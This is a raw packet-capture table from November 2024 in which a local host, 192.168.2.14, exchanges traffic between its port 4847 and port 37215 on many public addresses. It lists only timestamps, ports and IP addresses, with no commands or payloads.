Nov 3, 2024 15:33:03.925776005 CET	4847	37215	192.168.2.14	197.185.108.10
Nov 3, 2024 15:33:03.925782919 CET	37215	4847	197.3.48.196	192.168.2.14
Nov 3, 2024 15:33:03.925792933 CET	37215	4847	41.212.41.1	192.168.2.14
Nov 3, 2024 15:33:03.925796986 CET	37215	4847	41.255.139.124	192.168.2.14
Nov 3, 2024 15:33:03.925797939 CET	4847	37215	192.168.2.14	197.215.113.9
Nov 3, 2024 15:33:03.925798893 CET	4847	37215	192.168.2.14	41.178.239.94
Nov 3, 2024 15:33:03.925798893 CET	4847	37215	192.168.2.14	156.167.119.212
Nov 3, 2024 15:33:03.925801039 CET	37215	4847	197.128.115.142	192.168.2.14
Nov 3, 2024 15:33:03.925802946 CET	4847	37215	192.168.2.14	41.219.54.123
Nov 3, 2024 15:33:03.925811052 CET	37215	4847	156.109.25.155	192.168.2.14
Nov 3, 2024 15:33:03.925815105 CET	37215	4847	156.249.165.48	192.168.2.14
Nov 3, 2024 15:33:03.925839901 CET	4847	37215	192.168.2.14	41.255.139.124
Nov 3, 2024 15:33:03.925839901 CET	4847	37215	192.168.2.14	197.128.115.142
Nov 3, 2024 15:33:03.925843954 CET	4847	37215	192.168.2.14	156.249.165.48
Nov 3, 2024 15:33:03.925878048 CET	4847	37215	192.168.2.14	156.109.25.155
Nov 3, 2024 15:33:03.925889969 CET	4847	37215	192.168.2.14	197.3.48.196
Nov 3, 2024 15:33:03.925889969 CET	4847	37215	192.168.2.14	41.212.41.1
Nov 3, 2024 15:33:03.926023006 CET	37215	4847	197.179.102.71	192.168.2.14
Nov 3, 2024 15:33:03.926064014 CET	4847	37215	192.168.2.14	197.179.102.71
Nov 3, 2024 15:33:03.926095009 CET	37215	4847	156.99.132.67	192.168.2.14
Nov 3, 2024 15:33:03.926104069 CET	37215	4847	41.152.224.214	192.168.2.14
Nov 3, 2024 15:33:03.926112890 CET	37215	4847	156.140.164.16	192.168.2.14
Nov 3, 2024 15:33:03.926125050 CET	37215	4847	156.217.236.232	192.168.2.14
Nov 3, 2024 15:33:03.926132917 CET	4847	37215	192.168.2.14	156.99.132.67
Nov 3, 2024 15:33:03.926135063 CET	4847	37215	192.168.2.14	41.152.224.214
Nov 3, 2024 15:33:03.926135063 CET	37215	4847	156.134.105.214	192.168.2.14
Nov 3, 2024 15:33:03.926151037 CET	4847	37215	192.168.2.14	156.140.164.16
Nov 3, 2024 15:33:03.926162004 CET	37215	4847	41.168.9.54	192.168.2.14
Nov 3, 2024 15:33:03.926166058 CET	4847	37215	192.168.2.14	156.217.236.232
Nov 3, 2024 15:33:03.926167965 CET	4847	37215	192.168.2.14	156.134.105.214
Nov 3, 2024 15:33:03.926172018 CET	37215	4847	197.205.43.36	192.168.2.14
Nov 3, 2024 15:33:03.926191092 CET	37215	4847	197.2.153.184	192.168.2.14
Nov 3, 2024 15:33:03.926201105 CET	4847	37215	192.168.2.14	41.168.9.54
Nov 3, 2024 15:33:03.926202059 CET	37215	4847	41.39.6.67	192.168.2.14
Nov 3, 2024 15:33:03.926213980 CET	37215	4847	156.175.61.228	192.168.2.14
Nov 3, 2024 15:33:03.926223040 CET	37215	4847	156.157.12.162	192.168.2.14
Nov 3, 2024 15:33:03.926237106 CET	37215	4847	41.94.176.141	192.168.2.14
Nov 3, 2024 15:33:03.926253080 CET	37215	4847	197.235.77.122	192.168.2.14
Nov 3, 2024 15:33:03.926258087 CET	4847	37215	192.168.2.14	197.205.43.36
Nov 3, 2024 15:33:03.926261902 CET	37215	4847	41.186.137.87	192.168.2.14
Nov 3, 2024 15:33:03.926268101 CET	4847	37215	192.168.2.14	156.175.61.228
Nov 3, 2024 15:33:03.926268101 CET	4847	37215	192.168.2.14	41.94.176.141
Nov 3, 2024 15:33:03.926271915 CET	37215	4847	197.123.127.167	192.168.2.14
Nov 3, 2024 15:33:03.926273108 CET	4847	37215	192.168.2.14	197.2.153.184
Nov 3, 2024 15:33:03.926274061 CET	4847	37215	192.168.2.14	41.39.6.67
Nov 3, 2024 15:33:03.926274061 CET	4847	37215	192.168.2.14	156.157.12.162
Nov 3, 2024 15:33:03.926280975 CET	37215	4847	41.240.71.183	192.168.2.14
Nov 3, 2024 15:33:03.926287889 CET	4847	37215	192.168.2.14	197.235.77.122
Nov 3, 2024 15:33:03.926290989 CET	4847	37215	192.168.2.14	41.186.137.87
Nov 3, 2024 15:33:03.926290989 CET	37215	4847	41.53.21.200	192.168.2.14
Nov 3, 2024 15:33:03.926299095 CET	4847	37215	192.168.2.14	197.123.127.167
Nov 3, 2024 15:33:03.926302910 CET	37215	4847	41.194.179.215	192.168.2.14
Nov 3, 2024 15:33:03.926314116 CET	37215	4847	156.228.90.120	192.168.2.14
Nov 3, 2024 15:33:03.926315069 CET	4847	37215	192.168.2.14	41.240.71.183
Nov 3, 2024 15:33:03.926322937 CET	37215	4847	156.176.137.173	192.168.2.14
Nov 3, 2024 15:33:03.926330090 CET	4847	37215	192.168.2.14	41.53.21.200
Nov 3, 2024 15:33:03.926331043 CET	37215	4847	156.225.184.189	192.168.2.14
Nov 3, 2024 15:33:03.926342010 CET	37215	4847	41.111.151.47	192.168.2.14
Nov 3, 2024 15:33:03.926347971 CET	4847	37215	192.168.2.14	156.228.90.120
Nov 3, 2024 15:33:03.926348925 CET	4847	37215	192.168.2.14	41.194.179.215
Nov 3, 2024 15:33:03.926351070 CET	37215	4847	41.140.100.213	192.168.2.14
Nov 3, 2024 15:33:03.926352024 CET	4847	37215	192.168.2.14	156.176.137.173
Nov 3, 2024 15:33:03.926356077 CET	37215	4847	156.71.26.142	192.168.2.14
Nov 3, 2024 15:33:03.926361084 CET	4847	37215	192.168.2.14	156.225.184.189
Nov 3, 2024 15:33:03.926363945 CET	37215	4847	197.128.41.161	192.168.2.14
Nov 3, 2024 15:33:03.926373959 CET	37215	4847	41.96.186.221	192.168.2.14
Nov 3, 2024 15:33:03.926383972 CET	37215	4847	197.119.204.198	192.168.2.14
Nov 3, 2024 15:33:03.926400900 CET	4847	37215	192.168.2.14	41.111.151.47
Nov 3, 2024 15:33:03.926400900 CET	4847	37215	192.168.2.14	156.71.26.142
Nov 3, 2024 15:33:03.926400900 CET	4847	37215	192.168.2.14	41.140.100.213
Nov 3, 2024 15:33:03.926438093 CET	4847	37215	192.168.2.14	197.128.41.161
Nov 3, 2024 15:33:03.926460981 CET	4847	37215	192.168.2.14	197.119.204.198
Nov 3, 2024 15:33:03.926470041 CET	4847	37215	192.168.2.14	41.96.186.221
Nov 3, 2024 15:33:03.926625013 CET	37215	4847	41.231.114.63	192.168.2.14
Nov 3, 2024 15:33:03.926635981 CET	37215	4847	197.113.3.149	192.168.2.14
Nov 3, 2024 15:33:03.926644087 CET	37215	4847	197.166.153.240	192.168.2.14
Nov 3, 2024 15:33:03.926649094 CET	37215	4847	156.94.202.57	192.168.2.14
Nov 3, 2024 15:33:03.926659107 CET	37215	4847	156.89.44.32	192.168.2.14
Nov 3, 2024 15:33:03.926666975 CET	37215	4847	41.46.172.255	192.168.2.14
Nov 3, 2024 15:33:03.926690102 CET	4847	37215	192.168.2.14	41.231.114.63
Nov 3, 2024 15:33:03.926695108 CET	37215	4847	41.23.31.176	192.168.2.14
Nov 3, 2024 15:33:03.926696062 CET	4847	37215	192.168.2.14	197.166.153.240
Nov 3, 2024 15:33:03.926701069 CET	4847	37215	192.168.2.14	156.89.44.32
Nov 3, 2024 15:33:03.926704884 CET	37215	4847	156.42.46.217	192.168.2.14
Nov 3, 2024 15:33:03.926722050 CET	37215	4847	41.188.32.37	192.168.2.14
Nov 3, 2024 15:33:03.926729918 CET	4847	37215	192.168.2.14	197.113.3.149
Nov 3, 2024 15:33:03.926731110 CET	4847	37215	192.168.2.14	156.94.202.57
Nov 3, 2024 15:33:03.926732063 CET	37215	4847	41.32.205.182	192.168.2.14
Nov 3, 2024 15:33:03.926738024 CET	4847	37215	192.168.2.14	41.46.172.255
Nov 3, 2024 15:33:03.926738024 CET	4847	37215	192.168.2.14	41.23.31.176
Nov 3, 2024 15:33:03.926738024 CET	4847	37215	192.168.2.14	156.42.46.217
Nov 3, 2024 15:33:03.926740885 CET	37215	4847	197.83.106.152	192.168.2.14
Nov 3, 2024 15:33:03.926750898 CET	37215	4847	41.123.141.229	192.168.2.14
Nov 3, 2024 15:33:03.926760912 CET	37215	4847	41.200.83.214	192.168.2.14
Nov 3, 2024 15:33:03.926763058 CET	4847	37215	192.168.2.14	41.188.32.37
Nov 3, 2024 15:33:03.926763058 CET	4847	37215	192.168.2.14	41.32.205.182
Nov 3, 2024 15:33:03.926770926 CET	37215	4847	197.115.36.253	192.168.2.14
Nov 3, 2024 15:33:03.926775932 CET	4847	37215	192.168.2.14	197.83.106.152
Nov 3, 2024 15:33:03.926776886 CET	37215	4847	197.130.157.58	192.168.2.14
Nov 3, 2024 15:33:03.926781893 CET	37215	4847	41.192.26.133	192.168.2.14
Nov 3, 2024 15:33:03.926791906 CET	37215	4847	41.84.145.133	192.168.2.14
Nov 3, 2024 15:33:03.926805973 CET	37215	4847	197.157.47.93	192.168.2.14
Nov 3, 2024 15:33:03.926806927 CET	4847	37215	192.168.2.14	41.123.141.229
Nov 3, 2024 15:33:03.926809072 CET	4847	37215	192.168.2.14	197.115.36.253
Nov 3, 2024 15:33:03.926810980 CET	4847	37215	192.168.2.14	41.200.83.214
Nov 3, 2024 15:33:03.926815033 CET	37215	4847	197.80.160.107	192.168.2.14
Nov 3, 2024 15:33:03.926825047 CET	37215	4847	156.87.90.72	192.168.2.14
Nov 3, 2024 15:33:03.926834106 CET	37215	4847	197.250.49.122	192.168.2.14
Nov 3, 2024 15:33:03.926843882 CET	37215	4847	41.178.168.114	192.168.2.14
Nov 3, 2024 15:33:03.926851988 CET	4847	37215	192.168.2.14	197.130.157.58
Nov 3, 2024 15:33:03.926852942 CET	37215	4847	41.229.82.79	192.168.2.14
Nov 3, 2024 15:33:03.926862001 CET	4847	37215	192.168.2.14	41.192.26.133
Nov 3, 2024 15:33:03.926863909 CET	37215	4847	156.115.194.150	192.168.2.14
Nov 3, 2024 15:33:03.926867008 CET	4847	37215	192.168.2.14	41.84.145.133
Nov 3, 2024 15:33:03.926868916 CET	4847	37215	192.168.2.14	197.80.160.107
Nov 3, 2024 15:33:03.926868916 CET	4847	37215	192.168.2.14	156.87.90.72
Nov 3, 2024 15:33:03.926873922 CET	37215	4847	156.13.51.167	192.168.2.14
Nov 3, 2024 15:33:03.926873922 CET	4847	37215	192.168.2.14	197.157.47.93
Nov 3, 2024 15:33:03.926875114 CET	4847	37215	192.168.2.14	41.178.168.114
Nov 3, 2024 15:33:03.926876068 CET	4847	37215	192.168.2.14	197.250.49.122
Nov 3, 2024 15:33:03.926883936 CET	37215	4847	41.103.70.245	192.168.2.14
Nov 3, 2024 15:33:03.926892996 CET	37215	4847	197.246.11.219	192.168.2.14
Nov 3, 2024 15:33:03.926893950 CET	4847	37215	192.168.2.14	41.229.82.79
Nov 3, 2024 15:33:03.926898003 CET	4847	37215	192.168.2.14	156.115.194.150
Nov 3, 2024 15:33:03.926903963 CET	4847	37215	192.168.2.14	156.13.51.167
Nov 3, 2024 15:33:03.926904917 CET	37215	4847	197.42.12.174	192.168.2.14
Nov 3, 2024 15:33:03.926918983 CET	4847	37215	192.168.2.14	41.103.70.245
Nov 3, 2024 15:33:03.926934004 CET	4847	37215	192.168.2.14	197.246.11.219
Nov 3, 2024 15:33:03.926938057 CET	4847	37215	192.168.2.14	197.42.12.174
Nov 3, 2024 15:33:03.927109957 CET	37215	4847	156.96.28.176	192.168.2.14
Nov 3, 2024 15:33:03.927119970 CET	37215	4847	41.79.219.253	192.168.2.14
Nov 3, 2024 15:33:03.927124023 CET	37215	4847	197.146.22.210	192.168.2.14
Nov 3, 2024 15:33:03.927128077 CET	37215	4847	41.108.222.230	192.168.2.14
Nov 3, 2024 15:33:03.927136898 CET	37215	4847	197.49.4.191	192.168.2.14
Nov 3, 2024 15:33:03.927143097 CET	4847	37215	192.168.2.14	156.96.28.176
Nov 3, 2024 15:33:03.927148104 CET	37215	4847	41.93.253.205	192.168.2.14
Nov 3, 2024 15:33:03.927154064 CET	4847	37215	192.168.2.14	41.79.219.253
Nov 3, 2024 15:33:03.927159071 CET	4847	37215	192.168.2.14	41.108.222.230
Nov 3, 2024 15:33:03.927159071 CET	37215	4847	41.202.164.150	192.168.2.14
Nov 3, 2024 15:33:03.927160025 CET	4847	37215	192.168.2.14	197.146.22.210
Nov 3, 2024 15:33:03.927175045 CET	37215	4847	156.57.104.156	192.168.2.14
Nov 3, 2024 15:33:03.927175999 CET	4847	37215	192.168.2.14	197.49.4.191
Nov 3, 2024 15:33:03.927180052 CET	4847	37215	192.168.2.14	41.93.253.205
Nov 3, 2024 15:33:03.927186012 CET	37215	4847	197.112.208.190	192.168.2.14
Nov 3, 2024 15:33:03.927186012 CET	4847	37215	192.168.2.14	41.202.164.150
Nov 3, 2024 15:33:03.927194118 CET	37215	4847	41.107.110.57	192.168.2.14
Nov 3, 2024 15:33:03.927201986 CET	37215	4847	197.28.67.137	192.168.2.14
Nov 3, 2024 15:33:03.927212000 CET	37215	4847	41.0.34.166	192.168.2.14
Nov 3, 2024 15:33:03.927218914 CET	4847	37215	192.168.2.14	156.57.104.156
Nov 3, 2024 15:33:03.927223921 CET	4847	37215	192.168.2.14	197.112.208.190
Nov 3, 2024 15:33:03.927223921 CET	4847	37215	192.168.2.14	41.107.110.57
Nov 3, 2024 15:33:03.927228928 CET	37215	4847	197.79.172.225	192.168.2.14
Nov 3, 2024 15:33:03.927231073 CET	4847	37215	192.168.2.14	197.28.67.137
Nov 3, 2024 15:33:03.927239895 CET	37215	4847	156.114.86.245	192.168.2.14
Nov 3, 2024 15:33:03.927248955 CET	37215	4847	197.145.11.67	192.168.2.14
Nov 3, 2024 15:33:03.927253962 CET	37215	4847	41.74.140.122	192.168.2.14
Nov 3, 2024 15:33:03.927253962 CET	4847	37215	192.168.2.14	41.0.34.166
Nov 3, 2024 15:33:03.927258015 CET	37215	4847	41.184.74.193	192.168.2.14
Nov 3, 2024 15:33:03.927258968 CET	4847	37215	192.168.2.14	197.79.172.225
Nov 3, 2024 15:33:03.927267075 CET	37215	4847	156.126.229.72	192.168.2.14
Nov 3, 2024 15:33:03.927275896 CET	37215	4847	156.190.181.148	192.168.2.14
Nov 3, 2024 15:33:03.927284956 CET	37215	4847	156.125.53.190	192.168.2.14
Nov 3, 2024 15:33:03.927290916 CET	4847	37215	192.168.2.14	41.74.140.122
Nov 3, 2024 15:33:03.927290916 CET	4847	37215	192.168.2.14	41.184.74.193
Nov 3, 2024 15:33:03.927292109 CET	4847	37215	192.168.2.14	156.114.86.245
Nov 3, 2024 15:33:03.927292109 CET	4847	37215	192.168.2.14	197.145.11.67
Nov 3, 2024 15:33:03.927294016 CET	37215	4847	41.174.116.224	192.168.2.14
Nov 3, 2024 15:33:03.927300930 CET	4847	37215	192.168.2.14	156.126.229.72
Nov 3, 2024 15:33:03.927304029 CET	37215	4847	156.170.248.86	192.168.2.14
Nov 3, 2024 15:33:03.927310944 CET	4847	37215	192.168.2.14	156.190.181.148
Nov 3, 2024 15:33:03.927310944 CET	4847	37215	192.168.2.14	156.125.53.190
Nov 3, 2024 15:33:03.927318096 CET	37215	4847	197.177.73.255	192.168.2.14
Nov 3, 2024 15:33:03.927329063 CET	37215	4847	197.142.252.21	192.168.2.14
Nov 3, 2024 15:33:03.927335024 CET	4847	37215	192.168.2.14	41.174.116.224
Nov 3, 2024 15:33:03.927339077 CET	37215	4847	41.47.51.40	192.168.2.14
Nov 3, 2024 15:33:03.927339077 CET	4847	37215	192.168.2.14	156.170.248.86
Nov 3, 2024 15:33:03.927347898 CET	37215	4847	41.184.97.149	192.168.2.14
Nov 3, 2024 15:33:03.927356005 CET	37215	4847	197.5.49.131	192.168.2.14
Nov 3, 2024 15:33:03.927357912 CET	4847	37215	192.168.2.14	197.177.73.255
Nov 3, 2024 15:33:03.927364111 CET	4847	37215	192.168.2.14	197.142.252.21
Nov 3, 2024 15:33:03.927364111 CET	4847	37215	192.168.2.14	41.47.51.40
Nov 3, 2024 15:33:03.927375078 CET	4847	37215	192.168.2.14	41.184.97.149
Nov 3, 2024 15:33:03.927392960 CET	4847	37215	192.168.2.14	197.5.49.131
Nov 3, 2024 15:33:03.927725077 CET	37215	4847	197.148.144.169	192.168.2.14
Nov 3, 2024 15:33:03.927735090 CET	37215	4847	41.218.169.66	192.168.2.14
Nov 3, 2024 15:33:03.927742958 CET	37215	4847	197.52.232.14	192.168.2.14
Nov 3, 2024 15:33:03.927751064 CET	37215	4847	197.93.81.76	192.168.2.14
Nov 3, 2024 15:33:03.927759886 CET	37215	4847	156.119.143.247	192.168.2.14
Nov 3, 2024 15:33:03.927764893 CET	4847	37215	192.168.2.14	197.148.144.169
Nov 3, 2024 15:33:03.927764893 CET	4847	37215	192.168.2.14	41.218.169.66
Nov 3, 2024 15:33:03.927768946 CET	37215	4847	156.78.47.10	192.168.2.14
Nov 3, 2024 15:33:03.927782059 CET	4847	37215	192.168.2.14	197.93.81.76
Nov 3, 2024 15:33:03.927782059 CET	37215	4847	156.202.58.55	192.168.2.14
Nov 3, 2024 15:33:03.927787066 CET	37215	4847	41.43.75.22	192.168.2.14
Nov 3, 2024 15:33:03.927787066 CET	4847	37215	192.168.2.14	197.52.232.14
Nov 3, 2024 15:33:03.927797079 CET	37215	4847	41.44.73.204	192.168.2.14
Nov 3, 2024 15:33:03.927803993 CET	4847	37215	192.168.2.14	156.119.143.247
Nov 3, 2024 15:33:03.927809954 CET	4847	37215	192.168.2.14	156.78.47.10
Nov 3, 2024 15:33:03.927809954 CET	4847	37215	192.168.2.14	156.202.58.55
Nov 3, 2024 15:33:03.927813053 CET	37215	4847	156.184.178.203	192.168.2.14
Nov 3, 2024 15:33:03.927820921 CET	4847	37215	192.168.2.14	41.43.75.22
Nov 3, 2024 15:33:03.927823067 CET	37215	4847	156.198.37.205	192.168.2.14
Nov 3, 2024 15:33:03.927826881 CET	4847	37215	192.168.2.14	41.44.73.204
Nov 3, 2024 15:33:03.927831888 CET	37215	4847	156.145.65.111	192.168.2.14
Nov 3, 2024 15:33:03.927840948 CET	37215	4847	41.250.175.184	192.168.2.14
Nov 3, 2024 15:33:03.927849054 CET	4847	37215	192.168.2.14	156.184.178.203
Nov 3, 2024 15:33:03.927849054 CET	4847	37215	192.168.2.14	156.198.37.205
Nov 3, 2024 15:33:03.927853107 CET	37215	4847	41.93.162.88	192.168.2.14
Nov 3, 2024 15:33:03.927864075 CET	37215	4847	41.183.147.23	192.168.2.14
Nov 3, 2024 15:33:03.927872896 CET	37215	4847	156.48.243.122	192.168.2.14
Nov 3, 2024 15:33:03.927876949 CET	4847	37215	192.168.2.14	156.145.65.111
Nov 3, 2024 15:33:03.927876949 CET	4847	37215	192.168.2.14	41.250.175.184
Nov 3, 2024 15:33:03.927886963 CET	4847	37215	192.168.2.14	41.93.162.88
Nov 3, 2024 15:33:03.927889109 CET	37215	4847	41.15.128.34	192.168.2.14
Nov 3, 2024 15:33:03.927898884 CET	37215	4847	197.91.174.153	192.168.2.14
Nov 3, 2024 15:33:03.927902937 CET	4847	37215	192.168.2.14	41.183.147.23
Nov 3, 2024 15:33:03.927907944 CET	37215	4847	197.6.112.72	192.168.2.14
Nov 3, 2024 15:33:03.927916050 CET	37215	4847	41.25.203.31	192.168.2.14
Nov 3, 2024 15:33:03.927921057 CET	4847	37215	192.168.2.14	41.15.128.34
Nov 3, 2024 15:33:03.927922010 CET	4847	37215	192.168.2.14	156.48.243.122
Nov 3, 2024 15:33:03.927926064 CET	37215	4847	156.222.152.80	192.168.2.14
Nov 3, 2024 15:33:03.927931070 CET	4847	37215	192.168.2.14	197.91.174.153
Nov 3, 2024 15:33:03.927932024 CET	4847	37215	192.168.2.14	197.6.112.72
Nov 3, 2024 15:33:03.927936077 CET	37215	4847	41.87.111.203	192.168.2.14
Nov 3, 2024 15:33:03.927944899 CET	37215	4847	197.22.215.180	192.168.2.14
Nov 3, 2024 15:33:03.927949905 CET	4847	37215	192.168.2.14	41.25.203.31
Nov 3, 2024 15:33:03.927953959 CET	37215	4847	41.235.238.197	192.168.2.14
Nov 3, 2024 15:33:03.927956104 CET	4847	37215	192.168.2.14	156.222.152.80
Nov 3, 2024 15:33:03.927964926 CET	37215	4847	156.236.40.192	192.168.2.14
Nov 3, 2024 15:33:03.927973032 CET	4847	37215	192.168.2.14	41.87.111.203
Nov 3, 2024 15:33:03.927973032 CET	4847	37215	192.168.2.14	197.22.215.180
Nov 3, 2024 15:33:03.927974939 CET	37215	4847	41.243.21.100	192.168.2.14
Nov 3, 2024 15:33:03.927984953 CET	37215	4847	156.176.133.201	192.168.2.14
Nov 3, 2024 15:33:03.927989006 CET	4847	37215	192.168.2.14	41.235.238.197
Nov 3, 2024 15:33:03.927994967 CET	37215	4847	41.171.153.169	192.168.2.14
Nov 3, 2024 15:33:03.927999973 CET	4847	37215	192.168.2.14	156.236.40.192
Nov 3, 2024 15:33:03.928009033 CET	4847	37215	192.168.2.14	41.243.21.100
Nov 3, 2024 15:33:03.928025007 CET	4847	37215	192.168.2.14	156.176.133.201
Nov 3, 2024 15:33:03.928031921 CET	4847	37215	192.168.2.14	41.171.153.169
Nov 3, 2024 15:33:03.928184032 CET	37215	4847	197.162.5.122	192.168.2.14
Nov 3, 2024 15:33:03.928193092 CET	37215	4847	156.69.174.151	192.168.2.14
Nov 3, 2024 15:33:03.928200960 CET	37215	4847	156.104.149.80	192.168.2.14
Nov 3, 2024 15:33:03.928221941 CET	37215	4847	41.199.35.88	192.168.2.14
Nov 3, 2024 15:33:03.928225994 CET	4847	37215	192.168.2.14	197.162.5.122
Nov 3, 2024 15:33:03.928229094 CET	4847	37215	192.168.2.14	156.69.174.151
Nov 3, 2024 15:33:03.928231955 CET	4847	37215	192.168.2.14	156.104.149.80
Nov 3, 2024 15:33:03.928232908 CET	37215	4847	197.125.25.56	192.168.2.14
Nov 3, 2024 15:33:03.928242922 CET	37215	4847	41.230.202.93	192.168.2.14
Nov 3, 2024 15:33:03.928252935 CET	37215	4847	41.150.130.178	192.168.2.14
Nov 3, 2024 15:33:03.928262949 CET	37215	4847	156.1.229.233	192.168.2.14
Nov 3, 2024 15:33:03.928262949 CET	4847	37215	192.168.2.14	41.199.35.88
Nov 3, 2024 15:33:03.928267956 CET	4847	37215	192.168.2.14	197.125.25.56
Nov 3, 2024 15:33:03.928270102 CET	4847	37215	192.168.2.14	41.230.202.93
Nov 3, 2024 15:33:03.928277969 CET	37215	4847	41.146.240.109	192.168.2.14
Nov 3, 2024 15:33:03.928287983 CET	37215	4847	156.188.147.118	192.168.2.14
Nov 3, 2024 15:33:03.928292990 CET	4847	37215	192.168.2.14	41.150.130.178
Nov 3, 2024 15:33:03.928293943 CET	4847	37215	192.168.2.14	156.1.229.233
Nov 3, 2024 15:33:03.928297043 CET	37215	4847	197.85.85.249	192.168.2.14
Nov 3, 2024 15:33:03.928308010 CET	37215	4847	41.32.204.164	192.168.2.14
Nov 3, 2024 15:33:03.928316116 CET	4847	37215	192.168.2.14	41.146.240.109
Nov 3, 2024 15:33:03.928318977 CET	4847	37215	192.168.2.14	156.188.147.118
Nov 3, 2024 15:33:03.928317070 CET	37215	4847	197.83.175.254	192.168.2.14
Nov 3, 2024 15:33:03.928334951 CET	4847	37215	192.168.2.14	197.85.85.249
Nov 3, 2024 15:33:03.928339958 CET	37215	4847	197.150.221.45	192.168.2.14
Nov 3, 2024 15:33:03.928342104 CET	4847	37215	192.168.2.14	41.32.204.164
Nov 3, 2024 15:33:03.928349972 CET	37215	4847	41.124.81.139	192.168.2.14
Nov 3, 2024 15:33:03.928352118 CET	4847	37215	192.168.2.14	197.83.175.254
Nov 3, 2024 15:33:03.928358078 CET	37215	4847	197.192.146.115	192.168.2.14
Nov 3, 2024 15:33:03.928368092 CET	37215	4847	156.111.147.67	192.168.2.14
Nov 3, 2024 15:33:03.928375959 CET	37215	4847	197.233.183.204	192.168.2.14
Nov 3, 2024 15:33:03.928385019 CET	4847	37215	192.168.2.14	41.124.81.139
Nov 3, 2024 15:33:03.928385019 CET	4847	37215	192.168.2.14	197.150.221.45
Nov 3, 2024 15:33:03.928388119 CET	37215	4847	156.60.55.4	192.168.2.14
Nov 3, 2024 15:33:03.928390026 CET	4847	37215	192.168.2.14	156.111.147.67
Nov 3, 2024 15:33:03.928397894 CET	37215	4847	197.75.160.91	192.168.2.14
Nov 3, 2024 15:33:03.928400040 CET	4847	37215	192.168.2.14	197.192.146.115
Nov 3, 2024 15:33:03.928406954 CET	37215	4847	197.102.32.91	192.168.2.14
Nov 3, 2024 15:33:03.928411007 CET	37215	4847	41.50.191.5	192.168.2.14
Nov 3, 2024 15:33:03.928415060 CET	37215	4847	156.225.159.21	192.168.2.14
Nov 3, 2024 15:33:03.928421021 CET	37215	4847	41.29.180.72	192.168.2.14
Nov 3, 2024 15:33:03.928420067 CET	4847	37215	192.168.2.14	156.60.55.4
Nov 3, 2024 15:33:03.928421021 CET	4847	37215	192.168.2.14	197.233.183.204
Nov 3, 2024 15:33:03.928431988 CET	37215	4847	197.12.51.27	192.168.2.14
Nov 3, 2024 15:33:03.928436995 CET	4847	37215	192.168.2.14	197.75.160.91
Nov 3, 2024 15:33:03.928443909 CET	37215	4847	156.115.99.102	192.168.2.14
Nov 3, 2024 15:33:03.928443909 CET	4847	37215	192.168.2.14	197.102.32.91
Nov 3, 2024 15:33:03.928443909 CET	4847	37215	192.168.2.14	41.50.191.5
Nov 3, 2024 15:33:03.928446054 CET	4847	37215	192.168.2.14	41.29.180.72
Nov 3, 2024 15:33:03.928451061 CET	4847	37215	192.168.2.14	156.225.159.21
Nov 3, 2024 15:33:03.928453922 CET	37215	4847	156.97.217.118	192.168.2.14
Nov 3, 2024 15:33:03.928463936 CET	37215	4847	41.150.203.39	192.168.2.14
Nov 3, 2024 15:33:03.928471088 CET	4847	37215	192.168.2.14	197.12.51.27
Nov 3, 2024 15:33:03.928494930 CET	4847	37215	192.168.2.14	156.115.99.102
Nov 3, 2024 15:33:03.928494930 CET	4847	37215	192.168.2.14	156.97.217.118
Nov 3, 2024 15:33:03.928503036 CET	4847	37215	192.168.2.14	41.150.203.39
Nov 3, 2024 15:33:03.928687096 CET	37215	4847	41.16.111.191	192.168.2.14
Nov 3, 2024 15:33:03.928723097 CET	37215	4847	156.49.95.98	192.168.2.14
Nov 3, 2024 15:33:03.928723097 CET	4847	37215	192.168.2.14	41.16.111.191
Nov 3, 2024 15:33:03.928755999 CET	37215	4847	197.197.121.177	192.168.2.14
Nov 3, 2024 15:33:03.928764105 CET	4847	37215	192.168.2.14	156.49.95.98
Nov 3, 2024 15:33:03.928765059 CET	37215	4847	41.217.193.60	192.168.2.14
Nov 3, 2024 15:33:03.928775072 CET	37215	4847	41.133.52.141	192.168.2.14
Nov 3, 2024 15:33:03.928783894 CET	37215	4847	156.183.238.247	192.168.2.14
Nov 3, 2024 15:33:03.928796053 CET	4847	37215	192.168.2.14	197.197.121.177
Nov 3, 2024 15:33:03.928797960 CET	4847	37215	192.168.2.14	41.217.193.60
Nov 3, 2024 15:33:03.928814888 CET	4847	37215	192.168.2.14	41.133.52.141
Nov 3, 2024 15:33:03.928817987 CET	4847	37215	192.168.2.14	156.183.238.247
Nov 3, 2024 15:33:03.928905010 CET	37215	4847	156.83.18.201	192.168.2.14
Nov 3, 2024 15:33:03.928915977 CET	37215	4847	41.168.133.220	192.168.2.14
Nov 3, 2024 15:33:03.928924084 CET	37215	4847	156.157.224.243	192.168.2.14
Nov 3, 2024 15:33:03.928941011 CET	4847	37215	192.168.2.14	41.168.133.220
Nov 3, 2024 15:33:03.928941965 CET	4847	37215	192.168.2.14	156.83.18.201
Nov 3, 2024 15:33:03.928949118 CET	4847	37215	192.168.2.14	156.157.224.243
Nov 3, 2024 15:33:03.928950071 CET	37215	4847	156.34.2.246	192.168.2.14
Nov 3, 2024 15:33:03.928960085 CET	37215	4847	41.179.95.145	192.168.2.14
Nov 3, 2024 15:33:03.928968906 CET	37215	4847	41.253.99.119	192.168.2.14
Nov 3, 2024 15:33:03.928976059 CET	37215	4847	156.111.25.10	192.168.2.14
Nov 3, 2024 15:33:03.928982019 CET	4847	37215	192.168.2.14	156.34.2.246
Nov 3, 2024 15:33:03.928986073 CET	4847	37215	192.168.2.14	41.179.95.145
Nov 3, 2024 15:33:03.928987980 CET	37215	4847	197.200.38.124	192.168.2.14
Nov 3, 2024 15:33:03.928997040 CET	37215	4847	41.187.56.13	192.168.2.14
Nov 3, 2024 15:33:03.929008961 CET	37215	4847	156.70.203.89	192.168.2.14
Nov 3, 2024 15:33:03.929013014 CET	37215	4847	41.42.215.195	192.168.2.14
Nov 3, 2024 15:33:03.929018021 CET	4847	37215	192.168.2.14	41.253.99.119
Nov 3, 2024 15:33:03.929022074 CET	37215	4847	41.133.119.107	192.168.2.14
Nov 3, 2024 15:33:03.929027081 CET	37215	4847	156.135.217.231	192.168.2.14
Nov 3, 2024 15:33:03.929028988 CET	4847	37215	192.168.2.14	156.111.25.10
Nov 3, 2024 15:33:03.929029942 CET	4847	37215	192.168.2.14	197.200.38.124
Nov 3, 2024 15:33:03.929038048 CET	37215	4847	197.119.11.122	192.168.2.14
Nov 3, 2024 15:33:03.929048061 CET	4847	37215	192.168.2.14	41.187.56.13
Nov 3, 2024 15:33:03.929054022 CET	37215	4847	197.61.187.172	192.168.2.14
Nov 3, 2024 15:33:03.929056883 CET	4847	37215	192.168.2.14	156.70.203.89
Nov 3, 2024 15:33:03.929063082 CET	4847	37215	192.168.2.14	41.133.119.107
